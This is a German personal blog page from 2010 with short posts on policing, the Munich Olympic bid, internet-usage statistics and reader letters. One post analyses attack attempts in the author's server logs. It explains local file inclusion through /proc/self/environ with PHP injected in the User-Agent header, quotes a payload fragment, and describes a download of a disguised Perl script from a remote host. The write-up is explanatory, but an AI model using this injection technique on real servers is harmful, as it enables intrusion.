Monday, 12. July 2010Widerstand positiv belegtUnser Polizeipräsident führt die zunehmende Gewalt gegen seine Leute auch darauf zurück, dass seit den 68ern der Begriff "Widerstand in der Gesellschaft positiv belegt" sei. Ich glaube, Herr Schmidbauer täuscht sich, der Begriff war schon Jahrzehnte davor positiv belegt. Deshalb haben die vor-68er-Hippies dem Begriff auch einen eigenen Absatz im Grundgesetz gewidmet, den es in der Verfassung zuvor nicht gab. Polizeipräsidenten sehen das natürlich traditionell ganz anders... Sunday, 11. July 2010Vergessene LoipenIch glaube, es war ein Fehler, in die Bewerbung um die Winterolympiade nur als "München 2018" zu ziehen. Jetzt fühlen sich die Leute in den Bergen, also da wo man Skifahren kann und Rodeln und Langlaufen, ein bisschen über den Tisch gezogen von den Leuten aus München, wo man eigentlich nur Eistanzen und Eishockey spielen kann. Und natürlich den Tross bewirten, Pressekonferenzen geben, Parties feiern und die Gattinnen der Funktionäre shoppen lassen kann. Oberammergau ist schon ausgestiegen, weil die Bauern mit Unterstützung der Bevölkerung ihre Wiesen nicht für Loipen und Parkplätze verpachten wollten. Und ich glaube, sie haben recht, die touristische Zugwirkung einer olympischen Loipe wird weit überschätzt. Zumindest mir sind Namen wie "Autrans", "Igman Veliko Polje", "Les Saisies", "Nozawa Onsen", "Soldier Hollow", "Cesana Torinese" kein Begriff. Die Olympiaden von "Grenoble", "Sarajevo", "Albertville", "Nagano", "Salt Lake City" und "Turin" kenne ich allerdings schon, nur die Austragungsstätten des Biathlon sind längst vergessen... Saturday, 10. July 2010OstwestkartenDie Initiative D21 bringt jedes Jahr eine Bestandsaufnahme raus, in welchem Umfang wir das Internet nutzen. Dabei ist natürlich auch der Anteil der Internetnutzer bezogen auf Einwohner nach Bundesland. Und alle stürzen sich drauf:
Was mich erstaunt, ist das Erstaunen. Den Trick mit dem Ost-West-Gegensatz kann man mit so ziemlich jeder Statistik mehr oder weniger deutlich vorführen, die auch nur ein bisschen mit Bevölkerungsstruktur oder Kaufkraft zu tun hat. Nur die Stadtstaaten und das Saarland passen oft nicht ins Bild, aber das ist bei der Online-Nutzung auch so.
Und jedes Mal sind wir aufs neue erstaunt.... Bild aus der SZ-online, Daten von 2007-2009 vom Portal der Statistischen Ämter des Bundes und der Länder, und vom Statistischen Landesamt Baden-Württemberg. Karte selbstgebastelt, Lizenz cc-by. Monday, 5. July 2010get /proc/self/environIn letzter Zeit hab ich hier massig abgelehnte Seitenaufrufe der Art
die mich ein bisschen verwundert haben. Irgendwie konnte ich mir gar nicht vorstellen, warum jemand /proc/self/environ ansehen oder in php einbinden möchte. /etc/passwd wäre mir klar gewesen, aber das environment? Das sieht ja in der Regel so aus:
Also nichts besonderes, ein paar interne Servervariablen und ein paar Infos über den Client. Aber das Serverzeug ist nicht interessant, und über den Client weiss ich als sein Besitzer mehr als irgendein angesurfter Webserver. Dabei scheint der Angriff ein alter Hut zu sein und irgendwie finde ich die Idee pfiffig: Als Einbrecher hat man ja immer das Problem, dass man sein Werkzeug irgendwie auf dem Server deponieren muss, wenn man nicht schon vorher in der Lage ist, dort richtige Befehle auszuführen. Das kann man machen, indem man irgendeine Datei remote einbindet oder indem man eine Datei dort deponiert (ein Profilbild in einem Forum, das in Wirklichkeit ein Script ist oder so). Scheiden diese Möglichkeiten aus, steht man dumm da. Wenn man nun einen Server findet, der nur lokale Dateien in sein php einbinden möchte, aber dort nicht allzu kritisch ist, was genau er ausführt, bietet "environ" ideale Möglichkeiten: Man kann dort zwar nicht viel ändern, aber der HTTP_USER_AGENT (eigentlich steht da drin, ob ein Besucher den Internet Explorer, Firefox, Opera... nimmt) wird vom Browser übernommen und was php in einer lokalen Datei findet, wird brav ausgeführt. In meinem Fall sah der USER_AGENT so aus:
<?system(' und mein Server hätte sich zu 96.9.xxx.xxx in den USA verbunden, dort ein perl-script mit dem irreführenden Namen cb.jpg runtergeladen, dieses Script ausgeführt und damit einem Menschen in Rumänien einen Textbrowser auf meinem Server eröffnet, der ihn eine Uni in Italien ansurfen lässt... was auch immer der dort dann will. Nach diesen Zeilen kommen noch 10 weitere Server, man setzt wohl auf Internationalität und Redundanz in diesem Geschäft. Die ausprobierte Lücke in diesem Fall wäre übrigens eine veraltete Version von phplist gewesen, die anscheinend ihre Config aus einem eingebundenen Script holt, den Namen dieses Scripts per Variable abgelegt hat und sich diese Variable auch von aussen unterjubeln liess. Ich hab allerdings noch massig andere Einträge dieser Art, die vermutlich die ganze Bandbreite verwundbarer php-Anwendungen abdecken. Das böse InternetWer mal das richtig böse Internet kennenlernen will, voller Hass, Drohungen, Gewaltaufrufen, finsterer Verschwörungstheorien und bizarrer Wahlarithmetik, muss heute die Leserbriefseiten der TZ zum Volksentscheid anschaun. Von beiden Seiten aus übrigens, und das was man sieht ist nur das, was durch die Moderation dort kam. Manchmal glaube ich, diese scheinbare Anonymität im Internet ist irgendwie doch falsch.
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